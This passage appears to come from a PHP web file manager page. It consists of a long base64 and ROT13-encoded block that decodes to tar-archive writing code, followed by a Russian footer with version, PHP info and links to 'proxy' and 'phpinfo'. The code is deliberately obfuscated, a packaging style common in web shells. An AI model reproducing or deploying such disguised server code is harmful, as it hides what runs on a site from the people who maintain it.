N5bnQnXSkgPT0gJzUnKQkkdXJucXJlWydmdm1yJ10gPSAwOw0KCQkkdXJucXJlWydzdnlyYW56ciddID0gZ2V2eigkaGFjbnB4X3FuZ25bJ3N2eXJhbnpyJ10pOw0KCQkkdXJucXJlWyd6YnFyJ10gPSBCcGdRcnAoZ2V2eigkaGFjbnB4X3FuZ25bJ3picXInXSkpOw0KCQkkdXJucXJlWydoZnJlX3ZxJ10gPSBCcGdRcnAoZ2V2eigkaGFjbnB4X3FuZ25bJ2hmcmVfdnEnXSkpOw0KCQkkdXJucXJlWyd0ZWJoY192cSddID0gQnBnUXJwKGdldnooJGhhY25weF9xbmduWyd0ZWJoY192cSddKSk7DQoJCSR1cm5xcmVbJ2Z2bXInXSA9IEJwZ1FycChnZXZ6KCRoYWNucHhfcW5nblsnZnZtciddKSk7DQoJCSR1cm5xcmVbJ2d2enInXSA9IEJwZ1FycChnZXZ6KCRoYWNucHhfcW5nblsnZ3Z6ciddKSk7DQoJCWVyZ2hlYSBnZWhyOw0KCX0NCg0KCXNoYXBndmJhIGpldmdyVXJucXJlKCRzdnlyYW56ciwgJHhycmNfc3Z5cmFuenIpew0KCQkkY25weFMgPSAnbjEwMG44bjhuOG4xMk4xMic7DQoJCSRjbnB4WSA9ICduMW4xMDBuNm4ybjMybjMybjhuOG4xNTVuMTInOw0KCQl2cyAoZmdleXJhKCR4cnJjX3N2eXJhbnpyKTw9MCkgJHhycmNfc3Z5cmFuenIgPSAkc3Z5cmFuenI7DQoJCSRzdnlyYW56cl9lcm5xbCA9ICRndXZmLT56bnhyVGJicUNuZ3UoJHhycmNfc3Z5cmFuenIpOw0KDQoJCXZzIChmZ2V5cmEoJHN2eXJhbnpyX2VybnFsKSA+IDk5KXsJCQkJCQkJLy9qZXZnciB5YmF0IHVybnFyZQ0KCQkkcW5nblN2ZWZnID0gY25weCgkY25weFMsICcuLy4vWWJhdFl2YXgnLCAwLCAwLCAwLCBmY2V2YWdzKCclMTFmICcsIFFycEJwZyhmZ2V5cmEoJHN2eXJhbnpyX2VybnFsKSkpLCAwKTsNCgkJJHFuZ25ZbmZnID0gY25weCgkY25weFksICdZJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJyk7DQoNCiAgICAgICAgLy8gIFBueXBoeW5nciBndXIgcHVycHhmaHoNCgkJJHB1cnB4Zmh6ID0gMDsNCiAgICAgICAgLy8gIFN2ZWZnIGNuZWcgYnMgZ3VyIHVybnFyZQ0KCQlzYmUgKCR2ID0gMDsgJHYgPCAxNDg7ICR2KyspDQoJCQkkcHVycHhmaHogKz0gYmVxKGZob2ZnZSgkcW5nblN2ZWZnLCAkdiwgMSkpOw0KICAgICAgICAvLyAgVnRhYmVyIGd1ciBwdXJweGZoeiBpbnlociBuYXEgZXJjeW5wciB2ZyBvbCAnICcgKGZjbnByKQ0KCQlzYmUgKCR2ID0gMTQ4OyAkdiA8IDE1NjsgJHYrKykNCgkJCSRwdXJweGZoeiArPSBiZXEoJyAnKTsNCiAgICAgICAgLy8gIFluZmcgY25lZyBicyBndXIgdXJucXJlDQoJCXNiZSAoJHYgPSAxNTYsICR3PTA7ICR2IDwgNTEyOyAkdisrLCAkdysrKQ0KCQkJJHB1cnB4Zmh6ICs9IGJlcShmaG9mZ2UoJHFuZ25ZbmZnLCAkdywgMSkpOw0KICAgICAgICAvLyAgSmV2Z3IgZ3VyIHN2ZWZnIDE0OCBvbGdyZiBicyBndXIgdXJucXJlIHZhIGd1ciBuZXB1dmlyDQoJCSRndXZmLT5qZXZnck95YnB4KCRxbmduU3ZlZmcsIDE0OCk7DQogICAgICAgIC8vICBKZXZnciBndXIgcG55cGh5bmdycSBwdXJweGZoeg0KCQkkcHVycHhmaHogPSBmY2V2YWdzKCclNmYgJywgUXJwQnBnKCRwdXJweGZoeikpOw0KCQkkb3ZhbmVsUW5nbiA9IGNucHgoJ244JywgJHB1cnB4Zmh6KTsNCgkJJGd1dmYtPmpldmdyT3licHgoJG92YW5lbFFuZ24sIDgpOw0KICAgICAgICAvLyAgSmV2Z3IgZ3VyIHluZmcgMzU2IG9sZ3JmIGJzIGd1ciB1cm5xcmUgdmEgZ3VyIG5lcHV2aXINCgkJJGd1dmYtPmpldmdyT3licHgoJHFuZ25ZbmZnLCAzNTYpOw0KDQoJCSRnemNfc3Z5cmFuenIgPSAkZ3V2Zi0+em54clRiYnFDbmd1KCRzdnlyYW56cl9lcm5xbCk7DQoNCgkJJHYgPSAwOw0KCQkJanV2eXIgKCgkb2hzc3JlID0gZmhvZmdlKCRnemNfc3Z5cmFuenIsICgoJHYrKykqNTEyKSwgNTEyKSkgIT0gJycpew0KCQkJCSRvdmFuZWxRbmduID0gY25weCgnbjUxMicsICRvaHNzcmUpOw0KCQkJCSRndXZmLT5qZXZnck95YnB4KCRvdmFuZWxRbmduKTsNCgkJCX0NCgkJZXJnaGVhIGdlaHI7DQoJCX0NCgkJJHN2eXJfdmFzYiA9IGZnbmcoJHN2eXJhbnpyKTsNCgkJdnMgKEB2Zl9xdmUoJHN2eXJhbnpyKSl7DQoJCQkkZ2xjcnN5bnQgPSAnNSc7DQoJCQkkZnZtciA9IGZjZXZhZ3MoJyUxMWYgJywgUXJwQnBnKDApKTsNCgkJfSByeWZyIHsNCgkJCSRnbGNyc3ludCA9ICcnOw0KCQkJcHlybmVmZ25ncG5wdXIoKTsNCgkJCSRmdm1yID0gZmNldmFncygnJTExZiAnLCBRcnBCcGcoc3Z5cmZ2bXIoJHN2eXJhbnpyKSkpOw0KCQl9DQoJCSRxbmduU3ZlZmcgPSBjbnB4KCRjbnB4UywgJHN2eXJhbnpyX2VybnFsLCBmY2V2YWdzKCclNmYgJywgUXJwQnBnKHN2eXJjcmV6Zigkc3Z5cmFuenIpKSksIGZjZXZhZ3MoJyU2ZiAnLCBRcnBCcGcoJHN2eXJfdmFzYls0XSkpLCBmY2V2YWdzKCclNmYgJywgUXJwQnBnKCRzdnlyX3Zhc2JbNV0pKSwgJGZ2bXIsIGZjZXZhZ3MoJyUxMWYnLCBRcnBCcGcoc3Z5cnpndnpyKCRzdnlyYW56cikpKSk7DQoJCSRxbmduWW5mZyA9IGNucHgoJGNucHhZLCAkZ2xjcnN5bnQsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycpOw0KCQkkcHVycHhmaHogPSAwOw0KCQlzYmUgKCR2ID0gMDsgJHYgPCAxNDg7ICR2KyspICRwdXJweGZoeiArPSBiZXEoZmhvZmdlKCRxbmduU3ZlZmcsICR2LCAxKSk7DQoJCXNiZSAoJHYgPSAxNDg7ICR2IDwgMTU2OyAkdisrKSAkcHVycHhmaHogKz0gYmVxKCcgJyk7DQoJCXNiZSAoJHYgPSAxNTYsICR3ID0gMDsgJHYgPCA1MTI7ICR2KyssICR3KyspICRwdXJweGZoeiArPSBiZXEoZmhvZmdlKCRxbmduWW5mZywgJHcsIDEpKTsNCgkJJGd1dmYtPmpldmdyT3licHgoJHFuZ25TdmVmZywgMTQ4KTsNCgkJJHB1cnB4Zmh6ID0gZmNldmFncygnJTZmICcsIFFycEJwZygkcHVycHhmaHopKTsNCgkJJG92YW5lbFFuZ24gPSBjbnB4KCduOCcsICRwdXJweGZoeik7DQoJCSRndXZmLT5qZXZnck95YnB4KCRvdmFuZWxRbmduLCA4KTsNCgkJJGd1dmYtPmpldmdyT3licHgoJHFuZ25ZbmZnLCAzNTYpOw0KCQllcmdoZWEgZ2VocjsNCgl9DQoNCglzaGFwZ3ZiYSBiY3JhSmV2Z3IoKXsNCgkJdnMgKCRndXZmLT52ZlRtdmNjcnEpDQoJCQkkZ3V2Zi0+Z3pjX3N2eXIgPSB0bWJjcmEoJGd1dmYtPm5lcHV2aXJfYW56ciwgJ2pvOXMnKTsNCgkJcnlmcg0KCQkJJGd1dmYtPmd6Y19zdnlyID0gc2JjcmEoJGd1dmYtPm5lcHV2aXJfYW56ciwgJ2pvJyk7DQoNCgkJdnMgKCEoJGd1dmYtPmd6Y19zdnlyKSl7DQoJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnUG5hYWJnIGpldmdyIGdiIHN2eXInKS4nICcuJGd1dmYtPm5lcHV2aXJfYW56cjsNCgkJCWVyZ2hlYSBzbnlmcjsNCgkJfQ0KCQllcmdoZWEgZ2VocjsNCgl9DQoNCglzaGFwZ3ZiYSBlcm5xT3licHgoKXsNCgkJdnMgKHZmX2VyZmJoZXByKCRndXZmLT5nemNfc3Z5cikpew0KCQkJdnMgKCRndXZmLT52ZlRtdmNjcnEpDQoJCQkJJG95YnB4ID0gdG1lcm5xKCRndXZmLT5nemNfc3Z5ciwgNTEyKTsNCgkJCXJ5ZnINCgkJCQkkb3licHggPSBzZXJucSgkZ3V2Zi0+Z3pjX3N2eXIsIDUxMik7DQoJCX0gcnlmcgkkb3licHggPSAnJzsNCg0KCQllcmdoZWEgJG95YnB4Ow0KCX0NCg0KCXNoYXBndmJhIGpldmdyT3licHgoJHFuZ24sICR5cmF0Z3UgPSAwKXsNCgkJdnMgKHZmX2VyZmJoZXByKCRndXZmLT5nemNfc3Z5cikpew0KCQkNCgkJCXZzICgkeXJhdGd1ID09PSAwKXsNCgkJCQl2cyAoJGd1dmYtPnZmVG12Y2NycSkNCgkJCQkJdG1jaGdmKCRndXZmLT5nemNfc3Z5ciwgJHFuZ24pOw0KCQkJCXJ5ZnINCgkJCQkJc2NoZ2YoJGd1dmYtPmd6Y19zdnlyLCAkcW5nbik7DQoJCQl9IHJ5ZnIgew0KCQkJCXZzICgkZ3V2Zi0+dmZUbXZjY3JxKQ0KCQkJCQl0bWNoZ2YoJGd1dmYtPmd6Y19zdnlyLCAkcW5nbiwgJHlyYXRndSk7DQoJCQkJcnlmcg0KCQkJCQlzY2hnZigkZ3V2Zi0+Z3pjX3N2eXIsICRxbmduLCAkeXJhdGd1KTsNCgkJCX0NCgkJfQ0KCX0NCg0KCXNoYXBndmJhIHB5YmZyR3pjU3Z5cigpew0KCQl2cyAodmZfZXJmYmhlcHIoJGd1dmYtPmd6Y19zdnlyKSl7DQoJCQl2cyAoJGd1dmYtPnZmVG12Y2NycSkNCgkJCQl0bXB5YmZyKCRndXZmLT5nemNfc3Z5cik7DQoJCQlyeWZyDQoJCQkJc3B5YmZyKCRndXZmLT5nemNfc3Z5cik7DQoNCgkJCSRndXZmLT5nemNfc3Z5ciA9IDA7DQoJCX0NCgl9DQoNCglzaGFwZ3ZiYSB6bnhyVGJicUNuZ3UoJGNuZ3Upew0KCQl2cyAoZmdleXJhKCRjbmd1KT4wKXsNCgkJCSRjbmd1ID0gZmdlX2VyY3lucHIoJ1xcJywgJy8nLCAkY25ndSk7DQoJCQkkY25lZ0NuZ3UgPSBya2N5YnFyKCcvJywgJGNuZ3UpOw0KCQkJJHJ5ZiA9IHBiaGFnKCRjbmVnQ25ndSktMTsNCgkJCXNiZSAoJHYgPSAkcnlmOyAkdj49MDsgJHYtLSl7DQoJCQkJdnMgKCRjbmVnQ25ndVskdl0gPT0gJy4nKXsNCiAgICAgICAgICAgICAgICAgICAgLy8gIFZ0YWJlciBndXZmIHF2ZXJwZ2JlbA0KICAgICAgICAgICAgICAgIH0gcnlmcnZzICgkY25lZ0NuZ3VbJHZdID09ICcuLicpew0KICAgICAgICAgICAgICAgICAgICAkdi0tOw0KICAgICAgICAgICAgICAgIH0NCgkJCQlyeWZydnMgKCgkY25lZ0NuZ3VbJHZdID09ICcnKSBuYXEgKCR2IT0kcnlmKSBuYXEgKCR2IT0wKSl7DQogICAgICAgICAgICAgICAgfQlyeWZyDQoJCQkJCSRlcmZoeWcgPSAkY25lZ0NuZ3VbJHZdLigkdiE9JHJ5ZiA/ICcvJy4kZXJmaHlnIDogJycpOw0KCQkJfQ0KCQl9IHJ5ZnIgJGVyZmh5ZyA9ICcnOw0KCQkNCgkJZXJnaGVhICRlcmZoeWc7DQoJfQ0KfQ0KPz4=",1),2),3);?>
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Генерация страницы: 0.07 |
proxy
|
phpinfo
|
Настройка